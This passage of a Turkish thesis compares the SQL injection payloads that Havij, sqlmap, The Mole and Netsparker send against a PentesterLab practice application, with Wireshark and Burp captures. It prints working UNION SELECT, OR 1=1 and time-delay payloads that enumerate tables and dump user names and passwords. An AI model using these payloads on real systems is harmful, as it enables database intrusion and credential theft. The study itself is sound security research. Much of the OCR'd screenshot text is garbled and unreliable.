[Full request URI: http://192.168.1.11/sqgli/examplel.php?name=root%22%200R%201%3d1%200R%20%22ns%22%3d%22ns ]
[HTTP request 9/101]

[Prev request in frame: 212]

[Response in frame: 215]

[Next request in frame: 216] v
< >

@0 Oc 29 bf d2 3d 8@ Oc 29 27 13 9c 08 00 45 @8 R e L - ~

@1 da 88 ba 40 00 80 06 00 0@ cP a8 @1 Oa cO a8 R

@1 6b c2 d6 00 50 75 98 80 c4 67 42 8e b5 50 18 - Pu- --gB--P

@4 02 85 32 00 00 47 45 54 20 rAEwER ST --2--GE T EI!H
65 78 61 6d 70 6c 65 31 2e 78 68 7ONEISNTN ] ?nam
65 3d 72 of 6f 74 25 32 32 25 32 30 4f 52 25 32  e=root¥%2 2%280R¥%2
30 31 25 33 64 31 25 32 3@ 4f 52 25 32 30 25 32  01%3d1%2 OO0R¥%20%2

32 6e 73 25 32 32 25 33 64 25 32 32 6e 73 20 48  2ns%22%3 d%22ns H
R4 SA 5@ 7 M Ja 21 Ad Aa 55 72 A5 72 2d 41 A7 TTP/1 1. .liker-Ag

Sekil 4.15. Netsparker taramasi kullanici bilgileri.

SQL enjeksiyon zafiyetin kesfinde yapilan veri yiikii denemeleri wireshark iizerinde http
protokolii ile filtrelenerek belirlenmistir. Veri ylikii sorgusu burp suite programi iizerinde
decode edildiginde netsparker programinin ara yiiziinde ¢ikarmig oldugu sonuglardaki

veri yiikii ile ayn1 oldugu tespit edilmistir.
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Netsparker programinn yapmis oldugu basarili veri yiikii ve basarisiz veri yiikleri burp
suite programi iizerinde elle denenerek veri yiikleri girilerek test edildi. Response
sekmesinde bulunan sonuglara bakildiginda basarili veri yiikiiniin Sekil 4.16’da

veritabaninda tabloda bulunan verileri getirdigi gorildii.

[ R
Request Response
_[ Raw | Params THeaders Hex Raw | Headers | Hex I
Pretty m \n Actions v -l Raw Render n Actions v
S e——— -
L GET /sgli/examplel.php?name= 'y id A
root'+0R+1=140R+'ns'="'ns r </th> 2
HTTP/Ll.1 <th> |
2 Host: 192.168.1.11 name
i User—Agent: Mozilla/5.0 (Windows </th>
NT 10.0; Winé4; x€4; rv:95.0) <th>
Gecko/20100101 Firefox/95.0 age
4 Accept: </th>
text/html, application/xhtml+xml, </cr>
application/xml;q=0.9,image/avif €0 <tr>
,image /webp,*/*;q=0.8 <cd>
= Accept-Language: 1
tr-TR,tr;q=0.8,en-US;q=0.5,en;q= </td>
0.3 <td>
¢ Accept-Encoding: gzip, deflate admin
7 Connection: close </td>
° Upgrade-Insecure-Requests: 1 <cd>
10
</rd> -
- v
X <« - e

Sekil 4.16. Netsparker taramasinda etkin olan yiikler ile ¢ekilen kullanici bilgileri.

Request Response

Raw I Params |Heaners Hex Raw | Headers | Hex R

1 m n Actions v Wl Raw Render \n Actions Vv r
1 GET /sqli/fexamplel.php?name= A 50 </cl_1'.r>r SuaRAESE - : |& H+
root') J4WAITFOR+DELAY+'0:0:25'-- HTTP/1.1 " </div> P
Z Host: 182.1&68.1.11 </div> B
3 User-Agent: Mozilla/5.0 (Windows NT 10.0;
WinE4; xE4; rw:95.0) Gecko/IZ0100101 54 cdivy clags="containeris
Firefox/55.0 - |
4 Accept:
text/html,application/xhtml+xml, application/ besi
xml;q=0.9, image/avif, image/webp,*/*;q=0.8 EhARERTS [£
5 Accept-Language: zs <> |
tr-TR,tx;¢q=0.8,en-US;q=0.5,en;q=0.3 feopy; DentesterLab 2013 ¥
¢ Accept—-Encoding: gzip, deflate -
7 Connection: close g0 </ Loty L
2 Upgrade-Insecure-Requests: 1 -1 "‘ﬂ
: = €2 </div> L
10 <!-- /container --»
</body> v

-¥

Sekil 4.17. Netsparker taramasinda etkin olmayan veri yiikii.

SQL enjeksiyon zafiyetinin belirlenmesinde zafiyet tarama araglarinin yapmis olduklari
veri ylikleri tespit edilerek karsilastirilmistir. Kullandiklar1 sorgular wireshark tizerinde

yakalanarak ¢izelge haline getirilerek olusan sorgular incelenmistir.

[9]” da sizma testi yaklagimi ile web uygulamalarinda bulunan SQL enjeksiyon giivenlik
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aciklarimin bir degerlendirmesi ve analizi yapilan caligmada, SQL enjeksiyon

parametreleri yardimiyla web uygulama {izerinden veri tabani igerisinden siitun sayisi,

tablo adi, kullanici bilgileri gibi verilere erisme hedef alinmistir. Yapilan bu calismaya ek

olarak web for pentester uygulamasinda elle yapilan SQL enjeksiyon sorgu denemeleri

ile otomatize sorgu islemlerini gerceklestiren bazi SQL enjeksiyon araglarinin yaptigi veri

yiikii denemeleri karsilastirildi.

Cizelge 4.4’te web for pentester uygulamasi veritabaninda bulunan tablo adlarmi

bulmaya yonelik otomatik olarak SQL enjeksiyon denemeleri yapan araclarin veri yiikii

denemeleri tespit edilerek karsilagtirilmigtir.

Cizelge 4.4. Tablo adilarin1 bulmaya yonelik veri yiikii denemelerinin karsilagtiriimasi.

Sorgu
Arac

Tablo Adlarim1 Bulmak i¢in Yapilan Sorgular Ve Veri yiikleri

Elle
Yapilan

‘union select table name,version(),3,4,5 from information_schema.tables %23

Havij

999999.9' union all select (select
concat(0x7e,0x27,count(table_name),0x27,0x7¢) from
"information_schema’.tables where
table_schema=0x657865726369736573%

999999.9%27 %20union%?20all%20select%20%?28select%20concat%280x7e

%2C0x27%?2Ccount%?28table_name%29%2C0x27%2C0x7e%29%?20from%

20%060information_schema%060.tables%20where %20table_schema%3D0x65
7865726369736573%

Sqlmap

%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787871%?2
CISON_ARRAYAGG%28CONCAT_WS%280x777a72776d66%?2Ctable_sc
hema%?2Ctable_name%29%29%2C0x716a706271%29%2CNULL%2CNUL
L%2CNULL%2CNULL%20FROM%20INFORMATI

' UNION ALL SELECT

CONCAT(0x717a787871, JSON_ARRAYAGG(CONCAT_WS(0x777a7277
6d66,table_schema,table_name)),0x716a706271),NULL,NULL,NULL,NUL
L. FROM INFORMATI

The Mole

%?27+and+1%3D0+UNION+ALL+SELECT+CONCAT%280x3a3a2d3a3a%
2CCONCAT_WS%280x7e26%2CIFNULL%28table_name%2C+0x20%29
%29%2C0x3a3a2d3a3a%29%2C1%2C2%2C3%2C4+from+information_sch
ema.tables+where+table _schema+

"and 1=0 UNION ALL SELECT
CONCAT(0x3a3a2d3a3a,CONCAT_WS(0x7e26,IFNULL(table_name,
0x20)),0x3a3a2d3a3a),1,2,3,4 from information_schema.tables where
table schema
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Web for pentester uygulamasiin veri tabaninda bulunan tablo adlarini bulmak i¢in

strastyla havij, sqlmap, the mole programlari analiz edilmistir.

Havij programi ile web uygulamasi iizerinde bulunan SQL enjeksiyonu bulunan zafiyet
baglantis1 taranmistir. Havij aracinin tablo adi bilgilerini bulmaya yonelik veri yiikii
denemeleri “tables” butonuna tiklanarak es zamanli olarak wireshark tizerinde analiz
edilmistir. Sekil 4.18 ve 4.19°da yapilan sorguda havij aracinin veri yiikii iizerinde

“table_name “nesnesini kullandig1 ve tablo adinin “users” oldugu tespit edildi.

‘ Wireshark - Paket 314 - havi) webforpentester_tarama.pcapng — O x

X-Powered-By: PHP/5.3.3-7+squeezel5\r\n ~
X-XSS-Protection: @\r\n
Vary: Accept-Encoding\r\n
> Content-Length: 1611\r\n
Connection: close\r\n
Content-Type: text/html\r\n
\r\n
[HTTP response 1/1]
[Time since request: ©.883591000 seconds]

09100 00111100 001901111 91110100 91101000 90111116 00111160 01110108  d</th><t A
01000 00111110 01101110 01100001 01101101 01100101 001111060 00101111  h>name</

19100 911016000 00111110 00111100 01116100 91101000 00111110 01100001  th><th>a

09111 01100101 00111100 00101111 01116160 01101000 00111110 00111108  ge</th><

L0 o T T L e 2 MM (00001 001 BR0016001 00111160
011100160 00111110 001111668 9111601660 01160160 001111160 01111116
00111 81116101 011160011 01100101 61116610 01116611 60100111 01111116
111600 60101111 01116160 6110016060 081111160 601111660 011101660 01100160
11116 60110001 00116000 001100160 00110101 00110100 00111000 001160600
10000 00110101 00110110 00111100 00101111 011101600 81100100 00111110
17 911101600 91100100 201111160 00110001 00110000 001100160 981101681

Frame (440 bytes) Reassembled TCP (1846 bytes)

Sekil 4.18. Havij tablo ad1 bilgileri.
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‘ Wireshark - Paket 311 - havij webforpentester_tarama.pcapng - O X

PF_{8B2D1A56-EBCC-4486-83E3-16EB3A9D5DAC}, id @ ~

cat¥%280x7e%2C0x27%2Cunhex%28Hex%28cast%28group_concat%2g&

00111001 00100101 001100160 00111001 00100101 00110010 A
00110010 91000011 09110000 01111000 00110016 061160111

01000011 00110000 01111000 00116111 01100101 00160101

00100101 00110010 00110000 01160110 01110016 01161111

00110010 00110000 00100101 00116110 00110000 01161001

91101111 81110010 01101101 011060001 01110100 01161001

91011111 91110011 01100011 01161660 01100101 61101101

00110116 60110000 A0101116 01110160 01100001 011600160

01110011 00100101 001100160 00116000 01110111 01161000

01100101 00100101 00110010 00110000 01110100 01100001

91100101 81011111 91110011 01100011 0l1lelere 01lGelel L
00100101 00110011 01000100 00116000 01111000 00110110 ] v

Sekil 4.19. Havij tablo ad1 bilgileri veri yiikii.

Sqlmap programinda tablo adi bilgilerini 6grenmeye yonelik --tables SQL komutu
kullanilmistir. Komut ¢alistirilarak es zamanli olarak wireshark paket yakalama programi
ile tablo isimlerini getirmeye yonelik veri ytikleri Sekil 4.21°de tespit edilmis, tablo adinin
“users” oldugu goriilmiistiir.

File Actions Edit View Help

COLLATION_CHARACTER_SET_APPLICABILITY

OO TMmm

INFO] fetched data 1

[*] ending @ 15:15:21 /2@21-12

sglmap -u htt|

Sekil 4.20. Sqlmap tablo ad1 bilgileri yapilan sorgu.
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3a3a%2CCONCAT_WS%280x7€26%2CTFNULLY%28 (2C+0X20%29%29%2C0x3a3a2d3a3a%29%

Wireshark - Packet 25 . sqlmap_table_name.pcapng

Frame 25: 490 bytes on wire (3920 bi 490 bytes captured (3928 bit on int
Ethernet II, Src: VMware_bf:d2:3d B :
Internet Protocol Ve on 4, S i8.1.11,
nission Control Protocol, B 4 : 1449, Ack:
embled TCP Segments (1872 bytes): #:

Date: Sun, 26 Dec 2 28:19:12 GMTAr\n
Server: Apache/2.2.16 (Debian)\r\n

0e111110 £1101110 1100001 1161101 011061¢1 00111100 0011111

01101000 PE111110 EBI1111600 ©1110106 01101000 08111110 B1ileEe0l1 th><th>a
01166161 66111160 06161111 £1110106 ©1101600 66111110 001111686 ge</th><
01110100 01110016 ©£111110 0CCE1610 COCO10E1 OCOR1GE1 BO111160 fEr>. ..
011166010 £6111110 111166 01116106 61100100 00111116 00111616

0e101. 00111610 eel111610 1110101 01110611 e11eei1el1 eiiieelie

06111610 ©Ee1110160 06161161 PE111€1¢ €0111610 60111100 eel1e11ll

£1100160 00111110 80111160 61116160 61106160 68111116 eelieeel t
00101111 01110166 011001600 PE111116 90111100 O glleeipe j |
00110010 061111600 EE101111 91110106 91106100 08111116 60111160 =2</td><
01116160 61116610 06111110 06111100 ©0101111 61116100 61ieeeel /tr></ta

Sekil 4.21. Sqlmap tablo ad1 veri ytikii wireshark analizi.

The Mole programinda tablo adi bilgilerini 6grenmek icin Sekil 4.22°de goriildiigi gibi
komutlar sirastyla uygulanmistir. En son kullanilan “tables” komutu ile Sekil 4.23’te
wireshark programi es zamanli agilarak veri yiikleri analiz edilmistir. Tablo adinin

“users” oldugu tespit edilmistir.

ithesis.

Sekil 4.22. The Mole tablo ad1 bilgisi i¢in komutlar.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOAdCG mRBRBRR Re>EF S E Q Q

R | frame contains users

No. Time Source Destination Protocol
161 9.042286453 192.168.1.11 192 .168.1.12

Wireshark - Follow HTTP Stream (tcp.stream eq 15) - eth0

<div class="container">|

<p>&copy; PentesterLab 2813</p>

</div> <!-- fcontainer --3
1[5TEE: pkt, 1 pkt, 1 turn.

Entire conversation (2,375 bytes) Show and save dataas ASCII
Find: user . Find Next

Q) Help Filter Out This Stream Print Save as... x Close

Sekil 4.23. The Mole tablo adi bilgisi wireshark bulgusu.

Wireshark - Packet 159 - eth0

3a%2CCONCAT_WS%280x7e26%2CIFNULL%2gtable_name$2C+0x20%29%29%2C0x3a3a2d3a3a%2

alelele X 1 110 B ) B
[ 11 81161116 A11666A1 61161161 A116A101 86111161 1116618
01161111 01110100 00100181 06110610 AE110111 0161611 01100001
0116060100 00101611 00116661 06160161 AE116611 61060160 00116000
01010101 01001110 0101601 01061111 /1601110 0161611 01000001
01001100 00101011 0110611 01060161 /1601166 0100101 01000011
00101011 01000A11 0161111 01601110 P1eeee11 01066601 01010180
00110010 00111600 00110666 01111060 fe110011 01166001 00110011
00110010 01100100 90110011 011001 PR110e11 01106601 00100101
01000011 01060011 01661111 01061110 P1eeee11 01000001 01010100
01016111 01010011 00100161 06110610 PE111060 00110000 01111000
011660101 001166010 00110116 06160161 ee1160016 016666011 61001601

Sekil 4.24. The Mole table ad1 bilgisi i¢in yapilan veri yiikii sorgusu.

Web uygulamasinda tablo adlarini bulmaya yonelik yapilan calismada Cizelge 4.4’ deki
bulgularda elle yapilan SQL enjeksiyon sorgusunda tablo adi bulunurken “table name”
nesnesi kullanildigi, information_schema.tables sorgusu ile tablo, sema ve versiyon
bilgileri ¢ekilmistir. Ayn1 zamanda havij ve the mole aracglarinda otomatik olarak

gerceklestirdikleri sorgularda “table name” nesnesinin kullanildigi ve tabloya ait sema
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bilgilerini elde etmek icin “information_schema” sorgusu kullanilmis, Sekil 4.20 ve Sekil

4.22’ de goriildiigii gibi tablo adinin “users” oldugu goriilmiistiir.

Cizelge 4.5 veritabanindaki tablo adimi bulduktan sonraki tablodaki siitun adlarini

bulmaya

yonelik olarak, cizelgede gdosterilen araglarin yapmis olduklar1 veri yiikii

denemelerini ve sorgular1 gostermektedir.

Cizelge

4.5. Siitun adlarinin bulunmasinda veri yiikii denemelerinin karsilastirilmasi.

Sorgu
Arac

Siitun Adlarimi Bulmak i¢in Yapilan Sorgular Ve Veri yiikleri

Elle
Yapilan

union select column_name,2,3,4,5 from information_schema.columns %23

Havij

999999.9%27%?20union%20all%20select%20%28select%20concat%280x 7e

%2C0x27%2Cunhex%28Hex %28cast%?28group_concat%?28column_name%

29%?20as%20char%29%29%29%2C0x27%2C0x7e %29 %?20from%20%60inf
ormation_schema%60.col

999999.9' union all select (select
concat(0x7e,0x27,unhex(Hex(cast(group_concat(column_name) as
char))),0x27,0x7e) from “information_schema’.col

Sqlmap

%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787871%2
CISON_ARRAYAGG%28CONCAT_WS%280x777a72776d66%2Ccolumn
_ name%2Ccolumn_type%29%29%2C0x716a706271%29%2CNULL%2CN
ULL%2CNULL%2CNULL%20FROM%20INFORMATI

' UNION ALL SELECT
CONCAT(0x717a787871,JSON_ARRAYAGG(CONCAT_WS(0x777a7277
6d66,column_name,column_type)),0x716a706271),NULL,NULL,NULL,NU
LL FROM INFORMATI

The Mole

%27+and+1%3D0+UNION+ALL+SELECT+CONCAT%?280x3a3a2d3a3a%
2CCONCAT_WS%280x7¢26%2CIFNULL%?28column_name%2C+0x20%?2
9%29%2C0x3a3a2d3a3a%29%2C1%2C2%2C3%?2C4+from-+information_sc
hema.columns+where+table_schema+%3D+0x657865726369736573+and+t
able_name+%3D+0x7573657273+limit+1+offset+1%23

"and 1=0 UNION ALL SELECT
CONCAT(0x3a3a2d3a3a,CONCAT_WS(0x7e26,IFNULL(column_name,
0x20)),0x3a3a2d3a3a),1,2,3,4 from information_schema.columns where
table schema = 0x657865726369736573 and table_name = 0x7573657273
limit 1 offset 1#
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Havij programinin siitun adini tespitinde yapmis oldugu veri yiiklerinin incelenebilmesi
icin ara¢ tlizerinde bulunan “Get Columns” butonuna tiklanarak es zamanli olarak
wireshark calistirilmis ve incelenmistir. Sekil 4.26°da siitun adlarini bulmak i¢in havij

arac1 SQL enjeskiyon veri yiikii denemesi i¢erisinde “column_name” nesnesini kullandig1

tespit edilmistir.

AR 2@ I ERE Qe+ EF I =S QaQQE

e HES ]+

No. Time Source Destinatior Protocol Length Info
22 8.93.. 192.168.1.44 192.16.. HTTP 595 GET /sqli/examplel.php?name=999999.9%27%20union%20all%20select%20%28select...
258.93.. 192.168.1.11 192.16.. HTTP 436 HTTP/1.1 200 OK (text/html)
34 8.97.. 192.168.1.44 192.16.. HTTP 644 GET /sqli/examplel.php?name=999999.9%27%20union%20al1%20select%20%28select...
37 8.98.. 192.168.1.11 192.16.. HTTP 461 HTTP/1.1 268 OK (text/html)

Frame 37: 461 bytes on wire (3688 bits), 461 bytes captured (3688 bits) on interface \Device\NPF_{8B2D1A56-E8CC-4486-83E3-16|~
Ethernet II, Src: VMware_bf:d2:3d (@0:@c:29:bf:d2:3d), Dst: VMware_27:13:9c (00:0c:29:27:13:9¢)
Internet Protocol Version 4, Src: 192.168.1.11, Dst: 192.168.1.44
Transmission Control Protocol, Src Port: 8@, Dst Port: 49852, Seq: 1461, Ack: 591, Len: 487
[2 Reassembled TCP Segments (1867 bytes): #36(1460), #37(407)]
v Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Fri, 24 Dec 2021 22:33:40 GMT\r\n
Server: Apache/2.2.16 (Debian)\r\n
X-Powered-By: PHP/5.3.3-7+squeezel5\r\n v
< >
0660 65 74 68 3e 3c 74 [“E]
0670 6
0680
0690
0620
6be
06c@
06de

BERA

ge</th><

Sekil 4.25. Havij siitun ad1 bilgileri wireshark analizi.

M havijsatun s = 5

dm:® HE QesEZEF T2 aaaFE

[ [tep.stream eq 1
‘ Wireshark - HTTP Akusi izle (tcp.stream eq 1) - havij_sOtun_adlariveriyukleri.pcapng = ] b4
GET /sqli/examplel.php? #

name=999999 . 9%27%20union%20all%20select®20%28select®20concat®28@x7e%2C@x27%2Cunh
ex%28Hex%28cast%28group_concat%2gcolumn_namef29%20as%20char%29%29%29%2C0X27%2C0x
7e%29%20from%20%60information_schemako® - columns#%28wherek2@table_schema%30@x65786
5726369736573%20and%20table_name%3D0x7573657273%29%200x313032353438303083536%2C0x
313603235343830303536%200x31303235343830303536%2(0x31303235343830303536%20and%20%
27x%27%3D%27x HTTP/1.1

Host: 192.168.1.11

Accept: */*

User-Agent: Mozilla/4.8 (compatible; MSIE 7.0; Windows NT 5.1; SV1; _NET CLR
2.0.58727)

Connection: Close

HTTP/1.1 208 0K

Date: Fri, 24 Dec 2021 22:33:40 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeezel5
X-XSS-Protection: @

Vary: Accept-Encoding
Content-Length: 1632

Connection: close

Content-Type: text/html

Sekil 4.26. Havij siitun ad1 bilgileri i¢in yapilan veri yiikii.
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Sekil 4.28’de sqlmap aracinin yapmis oldugu siitun adi bilgilerini almaya yonelik veri
yiiklerinin tespiti i¢in komut satirinda --columns komutu kullanilmistir. Ayrica Sekil
4.27°de es zamanl1 olarak wireshark analizi incelendiginde yapilan veri yiikii sorgusunda

“column_name” nesnesinin kullanildig: tespit edilmistir.

T1%2CISON_ARRAYAGGHR2BCONCAT _WSk280xT77a727 ?Edﬁﬁ%g[:colmn_nane%!(:[:Dlumn_tﬁ9%29!62(}@)(?163?962? 1
LL%20SELECT%2BCONCAT*280x717a787871%2CJSON_ARRAY, d66%2Ccolumn_namei2

280x717a787871%2CISON_ARRAYAGGHZBCONCAT _WSK2BOxTT7aT27T76d66%2Ccolumn_name®%2Ccolumn_typek29%29%2C

pEOOREOE EOB1100 BR101001 10111111 11010010 09111101 OEOOOOOE OEOO1L0G )= -

Be101001 GR010010 GPE10110 10104011 00001600 OEOE0O0O 01000101 epooeREd ) E

pEOERE10 00161101 11001110 00110011 01000800 DEOEOEOE 01000000 CEOEEL10 -

11100111 00101111 11000000 10101000 OOCEOGOL 0EOO1100 11000000 10101000 /

pEEoRE01 epeel10l1l 1pdiicen 11iic0if COGEOO0O 01010000 10011001 oi00111i PO

10111110 10111010 11011010 10000100 11010101 00101111 10000000 QEO1100Q /!

pEEERE01 11110110 10000101 10000111 OOCEOGOD OEOOOEOO QEOOOOO1 OEOOOEOL

pEED1E00 EOE1010 BREE1010 GOOL0000 10101111 10011101 OEOOOEOE 10100100

10000010 00100100 01000111 010P0101 01010100 0E100E00 0E101111 01110011 FGET /s

01110001 01161100 01101001 00101111 01100101 01111000 01100001 01101101  glifexam

01110000 1101100 01100101 00110001 00101110 01110000 01101000 01110008  plel.php
el R AR R 1101110 elicoeel oiipiied cdiceiel eediilied odiieode

REGE 01110100 80160101 60110016 00110111 0E100101 0E110010
BpeGE 01001110 81601001 61601111 01601116 00100101 GE110010
BeTe g1@01100 010@1i60 00100101 @0110010 0elleoe0 01010011
peTa 01080101 1080011 01010100 00100101 0E110016 0E110000
Beso 01001110 01000011 01620001 01010100 0E100101 0B110010
BEas 01111000 80110411 60110001 00110411 01100001 00110111 -

ched data logged to text files under '

8.1.11/sgli/examplel.ph me=root ——fﬂlﬂﬁnsl

Sekil 4.28. Sqlmap tizerinde siitun adi bilgileri i¢in yapilan sorgu.

SQL enjeksiyon zafiyetin kesfi sirasinda The Mole aracinda siitun adi bilgilerinin
Ogrenilmesi icin Sekil 4.29’da gosterilen komut calistirilmistir. Komut ile birlikte
wireshark aracinda olusan veri yiikleri yakalanarak analiz edilmis ve veri yiikleri
igerisinde Sekil 4.30’da gorildiigi gibi “column_name” nesnesinin kullanildig: tespit

edilmistir.
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Sekil 4.29. The Mole siitun ad1 bulma komutu.

Wireshark - Packet 48 - ethO

1iterface ethe, id @
‘B0:0c:29:bf:d2:3d)

Len: 537

CONCAT%280x3a3a2d3a3a%2CCONCAT_WS%280x7e26%2CIFNULLY%2

2ee
811881
[ :

0811
g11011080 16 01 8
@11e11ee 81 181 eeileeel 91110 911160600
01161116 B11668061 01191101 811660161 68111181 81118016
£1191111 61110160 20169161 601160160 06116111 EP1e1R11 8liEEEE1
01160108 PE11011 FE116001 PE1EE11 11611 01600166 PE11EE66

Sekil 4.30. The Mole wiresahark veri yiikii analizi.

Cizelge 4.5°deki bulgular incelendiginde, tabloda bulunan siitun adlarin1 bulmaya yonelik
yapilan calismada elle yapilan SQL enjeksiyon sorgusunda tablo adi bulunurken
“column_name” nesnesi kullanilarak, information_schema.columns sorgusu ile tablodaki
stitun adlariin bilgisi ¢ekilmistir. Ayn1 zamanda havij ve the mole araglarinda otomatik
olarak gergeklestirdikleri sorgularda ‘“column name” nesnesinin kullanildigr ve
otomatize araclarla gergeklestirilen siitun adlar1 Sekil 4.28 ve Sekil 4.29° da gorildiigi
gibi age, groupid, id, name ve passwd oldugu tespit edilmistir. Ayrica tabloda bulunan
sema bilgileri i¢in information_schema.columns SQL ifadesinin kullanildigi

gorilmiistir.

Cizelge 4.6’da araglarin yapmis olduklar1 ve elle yapilan tablo igindeki verileri bulmaya

yonelik veri ytiklerinin sonuglar1 karsilagtirilmistir.

79



Cizelge 4.6. Veritabani tablosunda bulunan siitun i¢indeki bilgiler i¢in yapilan veri ytikii

denemelerinin karsilastirilmasi.

Sorgu
Araci

Tabloda Depolanan Verileri Almak Icin Yapilan Sorgular Ve Veri
yiikleri

Elle
Yapilan

union select name,passwd,3,4,5 from exercises.users %23

Havij

999999.9' union all select (select concat(0x27,0x7e,unhex(Hex(cast(users.id
as char))),0x5e,unhex(Hex(cast(users.name as char))),0x5e,unhe

999999.9%27 %20union%?20all%20select%20%?2 8select %20concat%280x2
7%2C0x7e%2Cunhex %28Hex %28cast%28users.id%20as%20char%29 %29
%29 %2C0x5e%2Cunhex%28Hex %28cast%28users.name%20as %20char%
29%?29%29%2C0x5e%?2Cunhe

Sqlmap

%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a787871
%2CISON_ARRAYAGG%28CONCAT_WS%280x777a72776d66%?2Cag
e%2Cgroupid%2Cid%2Cname%2Cpasswd%29%29%2C0x716a706271%2
9%2CNULL%2CNULL%2CNULL%2CNULL%20FROM %20

' UNION ALL SELECT
CONCAT(0x717a787871,JSON_ARRAYAGG(CONCAT_WS(0x777a727
76d66,age,groupid,id,name,passwd)),0x716a706271),NULL,NULL,NULL,
NULL FROM

The Mole

%27+and+1%3D0+UNION+ALL+SELECT+CONCAT%280x3a3a2d3a3a
%2CCONCAT_WS%280x7e26%2CIFNULL%28age%2C+0x20%29%2C1
FNULL%28groupid%2C+0x20%29%2CIFNULL %?281d%2C+0x20%29%?2
CIFNULL%28name%2C+0x20%29%2CIFNULL%28p

' and 1=0 UNION ALL SELECT
CONCAT(0x3a3a2d3a3a,CONCAT_WS(0x7e26,IFNULL(age,
0x20),IFNULL(groupid, 0x20),IFNULL(id, 0x20),IFNULL(name,

0x20),IFNULL(p

Havij programinda web uygulamasinin veri tabaninda bulunan tablo igerisindeki bilgileri

getirmeye yonelik yaptig1 veri yiikleri, “Get Data” butonuna tiklandiginda Sekil 4.31°de

wireshark iizerinde alinan sonugclar tespit edilmistir. Yapilan sorgu wireshark tizerinden

alinarak burp suite aracinda decode edildiginde “concat” fonksiyonu ile siitun basliklari

kullanilarak sorgu olusturuldugu goriilmiistiir. Sekil 4.32°de wireshark iizerinde users2,

azerty kullanici isimlerinin ¢ekildigi tespit edilmistir.
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‘ Wireshark - Paket 85 - sglmap_tablo_bilgileri_veriler.pcapng e O X

Urgent Pointer: @ ~
> [Timestamps]
» [SEQ/ACK analysis]
TCP payload (749 bytes)

Host: 192.168.1.11\r\n
Accept: */*\r\n
User-Agent: Mozilla/4.@ (compatible; MSIE 7.9; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\n

v

00000000 6RE01100 00101001 10111111 11810016 00111101 GeGE0GEE 00001180 S B ~
00101001 20100111 00010011 10011100 PPEO1ER0 PPEGPOVE 01000101 0G0REERE ) ' E-

20000011 eeolelol 0e0elleé 111160061 01000000 Q000000 10000000 00000110 cee @

20200000 CRPERERE 11000006 10161000 GEEEEEE1 PO101106 11908000 101010080 e -
20000001 00001011 1100001¢ 11000110 VOCEEEE0 01010000 10110001 eleleele  ----- P-R
20010010 0PO1000E 10100101 16181161 10000001 00016111 01010600 00011000 R

90000100 e000010 piEllNNiRNEEENNNN] 00000000 0000P0RE 91009111 01009181 . ' -GE

91010100 20100000 00101111 91110011 01110001 01101100 01101001 @0101111 T /sqli/

01100101 01111600 01160001 01161101 01110600 01101100 01160101 00110001  examplel

90101110 01110000 0110100¢ 01110000 00111111 91101116 91100001 01101101 .php?nam

21100101 €@111101 00111001 00111001 @0111601 90111001 00111001 00111081  e=599999

90101110 e@111601 00100101 06116810 60116111 00166101 00110010 601160080 L9%27%20

91110101 ©1101110 01101001 91161111 01101110 00100101 0011001¢ @0110000 union¥k20 v

Sekil 4.31. Havij tablo igi bilgiler i¢in yapilan veri ylikii denemesi.

‘ Wireshark - Paket 88 - sqgimap_tablo_bilgileri_veriler.pcapng = O x

» Frame 88: 453 bytes on wire (3624 bits), 453 bytes captured (3624 bits) on interface \Device\NPF_{~
» Ethernet II, Src: VMware bf:d2:3d (90:0c:29:bf:d2:3d), Dst: VMware 27:13:9c (©0:0c:29:27:13:9¢)
» Internet Protocol Version 4, Src: 192.168.1.11, Dst: 192.168.1.44
v Transmission Control Protocol, Src Port: 88, Dst Port: 49862, Seq: 1461, Ack: 758, len: 399
Source Port: 80
Destination Port: 49862
[Stream index: 6]
[Conversation completeness: Complete, WITH_DATA (31)]
[TCP Segment Len: 399]

< >
aete poR1001 00111100 01110166 011100160 00111116 06111160 01110160 ©1100160 -<tr><td ~
eets8 11110 80106111 ©111111@ 60110101 01011110 01118101 01116811 611680 >"~5"use

XL 01110010 001160010 01011116 60116016 01011116 661101601 016111180 0

Al 011116010 01106101 01116010 01110100 01111001 66100111 01111110 €811116€

e11@ 1111 1116100 0116616e 00111116 01111660 01110160 01160100 ©0111116

09118 10661 06116600 60116010 60116101 00110160 60111060 BE110808 081

01280 10101 @0116110 90111166 £0101111 011101660 61160160 00111110 ©8111160

0128 [NNNLcH 91100100 60111110 60116001 00110000 06110010 08110101 GO11E

013@ i 00110000 00110000 00110101 00110116 66111160 00161111 €1110160

0138 [HNE:ch 868111116 668111166 60181111 01118166 81110610 /e111110 28111166

01480 1111 81116100 011060001 01100016 01101160 01160161 00111110 6100000

Sekil 4.32. Havij tablo i¢indeki bilgiler.

Sqlmap programinda, tablo i¢indeki verileri getirmek i¢in -- dump komutu kullanilmistir.
Bu komut yardimiyla wireshark programi es zamanl olarak calistirilmis ve yapilan veri
yiikii denemeleri incelendiginde Sekil 4.33’te goriildiigii gibi sqlmap veri yiikleri
icerisinde “concat” fonksiyonu kullanilarak siitun basliklarini sorgu icerisine eklenmis ve

stitun igerisindeki veriler getirilmistir.
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5) on interface eth@, id @ a

:d2:3d (0@:0c:29:bf:d2:3d)

MAck: 1, Len: 423

_ECT%20CONCATX280xX717a787871%2CIS0ON_ARRAYAGGH:2GCONCAT %28@x7T77a727T6d66%2Cage%2Lgroupid®RCidk2!
1?Pname=root¥%2 7%20UNIONSG20ALL%20SELECTR2BCONCAT: TUR ar87871%2CIS0N_ARRAYAGGH2ECONCAT _Won280x7T7]

1%20ALL%20SELECTR2OCONCATYE280x717a7878T1%2CISON_ARRAYAGGRZECONCAT _WSK2BOxTTTaT2776d66%2Cagek2Cgri

00000000 00001100 00101001 10111111 11010010 PO111101 OPEEREEE BEER1160 7= -
00101601 00010010 00010110 10101011 DOPR1PEO GEREEREE A1008101 BEEEEE0E ) E
0010 [EEEEEFYEETEEEEE 11100110 10110110 01000000 DOGROGEO 01000000 0OD110 [H @@
11001110 11111110 11000000 10101000 0DOEODG1 DOEE1100 1100B0GG 10101000
00000001 00001011 10111000 11111100 ODOEOPE0 H1910000 19101100 11081000 P
10011611 11001100 10001111 EEE1001 11161000 11100011 1900BEGE BEE11800
